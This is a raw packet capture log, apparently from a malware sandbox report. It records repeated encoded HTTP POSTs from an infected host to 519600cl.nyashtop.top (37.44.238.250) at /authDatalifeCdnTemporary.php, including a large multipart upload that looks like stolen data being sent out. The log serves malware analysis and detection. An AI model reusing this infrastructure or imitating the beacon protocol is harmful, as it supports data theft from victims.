                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:22.611891985 CET2580OUTData Raw: 5a 5c 5b 51 54 48 54 56 5a 5d 56 56 52 5b 50 5e 50 5d 55 59 57 5f 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[QTHTVZ]VVR[P^P]UYW_ZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .#%^5$#;B+*''8-0.,);'19(:?$2 <>'F!.\*-
                                                                  Jan 13, 2025 13:12:22.905594110 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:23.038331032 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:22 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  94192.168.2.45010237.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:22.408499002 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:22.767338037 CET540OUTData Raw: 5a 54 5b 54 54 40 51 56 5a 5d 56 56 52 59 50 52 50 50 55 54 57 54 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[TT@QVZ]VVRYPRPPUTWTZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_,=]""\%')#%;>$S>;'2Y+) '$Z)>'F!.\*%
                                                                  Jan 13, 2025 13:12:23.037781000 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:23.165488958 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:22 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:23.166057110 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----og0ixSEnZyRMoQjmWcPWW1Msl9xK3bYEUd
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 165418
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:23.352521896 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:23.352907896 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 6f 67 30 69 78 53 45 6e 5a 79 52 4d 6f 51 6a 6d 57 63 50 57 57 31 4d 73 6c 39 78 4b 33 62 59 45 55 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------og0ixSEnZyRMoQjmWcPWW1Msl9xK3bYEUdContent-Disposition: form-data; name="0"Content-Type: text/plainZ][PTCT]Z]VVRPP^P]U[WUZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:12:23.358011007 CET2472OUTData Raw: 55 7a 6c 78 4e 33 59 31 61 55 4a 70 51 55 30 30 55 58 4a 75 51 6b 4a 4c 4e 33 4e 6e 57 6a 52 35 54 56 56 4d 52 7a 64 59 61 33 52 77 64 57 6c 54 59 55 73 33 61 6e 4e 74 4d 33 4e 52 55 45 35 6b 4f 57 6c 6e 59 32 56 36 53 44 5a 4c 5a 6e 42 59 53 6a
                                                                  Data Ascii: UzlxN3Y1aUJpQU00UXJuQkJLN3NnWjR5TVVMRzdYa3RwdWlTYUs3anNtM3NRUE5kOWlnY2V6SDZLZnBYSjlUd0hmOFR2K3Y1bi9BQy9nZC84QThMTy82Zy8vQUpNLy9ZVnkzaVRYZitFaDFHTzcrei9aOWtRaTJiOStjRW5PY0QxcktDUnl2YmkxdmJPNlNhOFN5TWtMdUJISzMzUXdaRllBODhnRWNHb25lQS9hRGIzOW5kTGJ
                                                                  Jan 13, 2025 13:12:23.358072996 CET9888OUTData Raw: 64 6a 46 6d 55 57 68 30 64 46 52 6b 56 7a 42 54 57 6e 52 5a 4f 47 35 55 63 6c 4e 58 65 6d 46 6d 55 7a 6c 7a 62 30 31 69 65 48 4e 32 62 56 4e 5a 51 32 78 49 65 56 46 36 4e 58 70 31 54 7a 64 48 54 57 6c 73 4d 48 5a 58 55 7a 4e 6f 5a 56 42 55 63 6b
                                                                  Data Ascii: djFmUWh0dFRkVzBTWnRZOG5UclNXemFmUzlzb01ieHN2bVNZQ2xIeVF6NXp1TzdHTWlsMHZXUzNoZVBUck9TeHQ4TGNMZFFYSXVsa21acEdaWkUySHltTzBxQVpBQ3BYMHhWd3d4TWNtTkNmZFJSNVVlYytXbi9mSXFubFVYSlBtMkkvdHVmSzF5TFczNEZXMnZZYlMydFlacjZ5ZzhuVTN1TGlLYXphV1dTRXh4cmlGeEdmTGM
                                                                  Jan 13, 2025 13:12:23.358144045 CET2472OUTData Raw: 5a 55 70 4d 65 54 5a 6e 54 6e 68 68 62 33 6c 58 5a 48 41 31 62 7a 68 35 55 31 46 71 52 32 52 31 59 7a 51 31 65 43 74 4b 55 47 46 7a 4d 6a 64 30 64 6e 52 56 55 56 52 6b 64 48 64 6a 4e 58 68 74 64 48 5a 33 4e 54 68 50 55 43 74 46 5a 7a 41 72 55 7a
                                                                  Data Ascii: ZUpMeTZnTnhhb3lXZHA1bzh5U1FqR2R1YzQ1eCtKUGFzMjd0dnRVUVRkdHdjNXhtdHZ3NThPUCtFZzArUzYvdFg3UHNtTVczN1B1emdBNXp1SHJYeXVjNGVvcTN0cmU3b3ZtZTVsTGNueTAxZVMxLzRKVzhiUzZmcmR2WStJN1M2Z0Z6Y29JN3kwODBlWWpxTWJ0dWM0NHgrUjcxcStGTEZ0UStIc3NTNkYvYkpHcWx2cy8ydjd
                                                                  Jan 13, 2025 13:12:23.358160973 CET2472OUTData Raw: 64 44 4e 4a 56 47 64 49 61 7a 51 30 4e 45 6c 51 55 46 6b 78 51 32 67 34 65 47 39 73 55 6b 68 61 63 47 77 7a 55 6b 46 4a 59 33 56 50 5a 56 59 35 55 6e 64 6c 62 6d 39 68 4e 48 4e 51 61 48 4e 4f 61 44 5a 7a 4e 6d 78 4c 65 54 56 79 57 46 68 55 55 79
                                                                  Data Ascii: dDNJVGdIazQ0NElQUFkxQ2g4eG9sUkhacGwzUkFJY3VPZVY5Undlbm9hNHNQaHNOaDZzNmxLeTVyWFhUUy8rWjJZaXZpcTlPRk9xbStXOW5aMzF0L2tGRk9pamx1TGFXNWdnbmx0NHMrWkxIRXpJbUJrNUlHQng2MHhzb3pxeU9ySXBabEtIS2dESkpHTWdZNStsZG50SVh0ZEhKN0twWlBsZXZrTFJVbHpiM05uNWYydTF1TFl
                                                                  Jan 13, 2025 13:12:23.358189106 CET2472OUTData Raw: 56 57 34 31 56 57 5a 58 61 6e 42 52 54 56 52 49 4e 57 55 78 51 6a 51 72 62 45 74 53 4c 7a 68 42 63 6e 42 44 54 55 68 30 55 55 46 75 64 43 39 4c 62 47 38 33 56 55 56 49 52 6b 6c 4d 62 6d 55 77 56 56 56 57 51 6a 68 7a 55 6c 52 36 56 46 64 73 61 6d
                                                                  Data Ascii: VW41VWZXanBRTVRINWUxQjQrbEtSLzhBcnBDTUh0UUFudC9LbG83VUVIRklMbmUwVVVWQjhzUlR6VFdsamVYc09vMituVG9GdDdXZTRXVmw4MXpsc2VXakhoRllkUDRoVU55c3F2ckEwN1RUclFkcmVlMmhpYVJGRnZOdUx5QURhMkVZYk1uQVhxd3FTZlRvcFl4ZnpRYm9sbEVQbUhHQStNNDllbFZIMExUNUdMR0FBbnFSWGs
                                                                  Jan 13, 2025 13:12:23.358206987 CET2472OUTData Raw: 64 54 5a 7a 62 30 78 34 55 58 4d 32 59 6d 64 45 61 31 5a 46 64 57 73 79 55 30 56 72 55 57 70 4b 52 30 74 6c 53 58 6b 79 56 6c 64 7a 4e 58 46 57 61 7a 64 6d 4d 54 67 33 54 44 64 70 54 55 70 74 4f 45 74 47 51 6c 55 7a 52 7a 64 57 4c 79 74 43 4f 54
                                                                  Data Ascii: dTZzb0x4UXM2YmdEa1ZFdWsyU0VrUWpKR0tlSXkyVldzNXFWazdmMTg3TDdpTUptOEtGQlUzRzdWLytCOTEyWjJvV09xYVg0YzFPMjFLQzR0WnJyVVloYnJJdURLcUxLWFpmN3lqY3Z6REk1SE5TNmtsL2JwcWw5dG1TMmJ3OVkyME03cmlOcHo5bklRRThGc0FrajB5VHhWcUhTTE9COTZSOCs5TWJRckJuTEdMazllYXhlVTF
                                                                  Jan 13, 2025 13:12:23.358222008 CET2472OUTData Raw: 64 45 70 53 55 6c 46 42 56 56 56 56 56 57 64 46 62 32 39 76 63 47 64 47 53 6c 4d 77 56 55 52 46 62 33 42 55 55 31 56 42 53 6c 4e 70 61 57 6c 74 51 57 78 47 51 6d 39 76 52 30 70 53 55 32 31 72 62 30 4a 43 55 7a 56 77 53 30 74 5a 65 48 64 6a 4c 31
                                                                  Data Ascii: dEpSUlFBVVVVVWdFb29vcGdGSlMwVURFb3BUU1VBSlNpaWltQWxGQm9vR0pSU21rb0JCUzVwS0tZeHdjL1dqS25xdjVVMmlnQmZMVS9kYjg2WVltSGI4cWRtbERFVVdEVWlJUGZpa3FmZm5xQWFRcWg5cVZoOHhEaWtxVXhmM1NEVENyRHFEUllkeHRGRkZGaWhLS0tLQUVvcGFTbU1RMFV0RklCTVVsTFJRTWJpZzB0RkFDVVV
                                                                  Jan 13, 2025 13:12:23.362926006 CET2472OUTData Raw: 52 57 70 34 64 30 38 31 63 6c 56 72 63 31 64 31 54 47 52 76 57 6c 55 7a 62 33 64 34 62 46 52 35 55 48 42 59 4e 57 34 76 51 55 73 7a 4e 47 6c 48 54 57 4a 75 4c 30 52 6a 62 48 41 78 56 56 59 77 57 47 30 72 63 6c 41 78 54 33 52 33 57 47 68 5a 57 57
                                                                  Data Ascii: RWp4d081clVrc1d1TGRvWlUzb3d4bFR5UHBYNW4vQUszNGlHTWJuL0RjbHAxVVYwWG0rclAxT3R3WGhZWWFOTy83eFJldlJ5ZHRmUmRFWjNoZnlGMU5wcG5RR05ma0RFRGsvd0NUWGZyS3J4OWlDSzh0MUxSSjlPUVNOekN4MnF4NE9mcFc1NFFuM2I0STd5VGNneTF2S01qSDk1RDI5eDcxcnhMZ1lZK2s4Mm9WZWFOa3JXZWx
                                                                  Jan 13, 2025 13:12:24.231600046 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:24 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  95192.168.2.45010337.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:23.162497997 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:23.517388105 CET2580OUTData Raw: 5f 58 5e 51 54 41 51 57 5a 5d 56 56 52 50 50 5f 50 50 55 5e 57 50 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X^QTAQWZ]VVRPP_PPU^WPZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#;"*Y2<>4$^&U0='*)#3!!+:'04_(.'F!.\*
                                                                  Jan 13, 2025 13:12:23.790759087 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:23.917481899 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:23 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  96192.168.2.45010437.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:24.052057981 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2576
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:24.407965899 CET2576OUTData Raw: 5f 5e 5e 56 54 46 51 56 5a 5d 56 56 52 58 50 5c 50 5d 55 55 57 57 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _^^VTFQVZ]VVRXP\P]UUWWZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z/09_"*Y23@>+'90.(U(9;'!"[<9[$W8]+.'F!.\*9
                                                                  Jan 13, 2025 13:12:24.764167070 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:24.823334932 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:24 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  97192.168.2.45010537.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:24.967842102 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:25.314285994 CET2580OUTData Raw: 5a 5a 5b 51 54 47 54 52 5a 5d 56 56 52 5d 50 58 50 59 55 5d 57 5f 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[QTGTRZ]VVR]PXPYU]W_ZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,0""2%#;>*/\0-0>?*),R$&+014[+'F!.\*5
                                                                  Jan 13, 2025 13:12:25.625987053 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:25.749382019 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:25 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  98192.168.2.45010637.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:25.894586086 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  99192.168.2.45010737.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:26.086204052 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1980
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:26.439167976 CET1980OUTData Raw: 5a 5b 5e 51 51 44 54 50 5a 5d 56 56 52 5a 50 5b 50 5c 55 55 57 5e 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[^QQDTPZ]VVRZP[P\UUW^ZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^,#>69&))4$^&'.)$$":[(_ X'!4[?'F!.\*)
                                                                  Jan 13, 2025 13:12:26.744899035 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:26.883229971 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:26 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0f 2a 1c 2a 51 27 39 34 1f 2c 5a 25 06 2e 2c 0d 15 29 0c 05 02 3e 14 2a 02 3a 10 28 59 2b 02 23 03 28 1f 28 56 27 50 3b 08 2a 29 2b 51 07 11 39 5f 25 5b 26 5f 29 20 31 06 33 21 32 0a 36 0d 38 5b 3f 3a 21 08 27 38 38 55 3c 38 3a 05 28 23 08 59 32 39 22 1f 2b 05 25 00 3f 3d 2f 5e 08 12 25 53 3e 32 21 12 31 0e 37 1f 36 11 2c 5f 3d 3f 0f 50 36 06 3e 53 29 14 0b 5e 27 3d 3d 11 27 3e 0c 1e 25 1c 28 1e 31 54 3a 01 30 03 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: "**Q'94,Z%.,)>*:(Y+#((V'P;*)+Q9_%[&_) 13!268[?:!'88U<8:(#Y29"+%?=/^%S>2!176,_=?P6>S)^'=='>%(1T:0$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  100192.168.2.45010837.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:26.255647898 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:26.611804008 CET2580OUTData Raw: 5a 59 5b 54 54 42 51 56 5a 5d 56 56 52 51 50 5c 50 5b 55 55 57 50 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY[TTBQVZ]VVRQP\P[UUWPZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\;!)&#7=\0'8!$(R=*&1.^()$X&!0]+'F!.\*
                                                                  Jan 13, 2025 13:12:26.884748936 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:27.014812946 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:26 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  101192.168.2.45010937.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:27.158565998 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:27.517232895 CET2580OUTData Raw: 5f 5a 5b 55 51 43 54 50 5a 5d 56 56 52 5f 50 53 50 59 55 58 57 57 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[UQCTPZ]VVR_PSPYUXWWZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#[8!T9%?A)*X%+90<*0022Y(0_&!$^<'F!.\*
                                                                  Jan 13, 2025 13:12:27.812639952 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:27.949620962 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:27 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  102192.168.2.45011037.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:28.089215040 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:28.439337015 CET2580OUTData Raw: 5a 5c 5b 54 54 40 54 52 5a 5d 56 56 52 51 50 5b 50 5a 55 58 57 57 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[TT@TRZ]VVRQP[PZUXWWZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#.#5"6Y&0'B**(080<U=*$P'+9Y'" +'F!.\*
                                                                  Jan 13, 2025 13:12:28.717999935 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:28.899713039 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:28 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  103192.168.2.45011137.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:29.022181988 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:29.376652956 CET2580OUTData Raw: 5a 5f 5b 50 54 41 54 57 5a 5d 56 56 52 5d 50 5a 50 5d 55 5c 57 57 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z_[PTATWZ]VVR]PZP]U\WWZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\,U&5-%'=7_0+%3X?(9#0!+90Z'!().'F!.\*5
                                                                  Jan 13, 2025 13:12:29.850047112 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:29.850085020 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:29 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
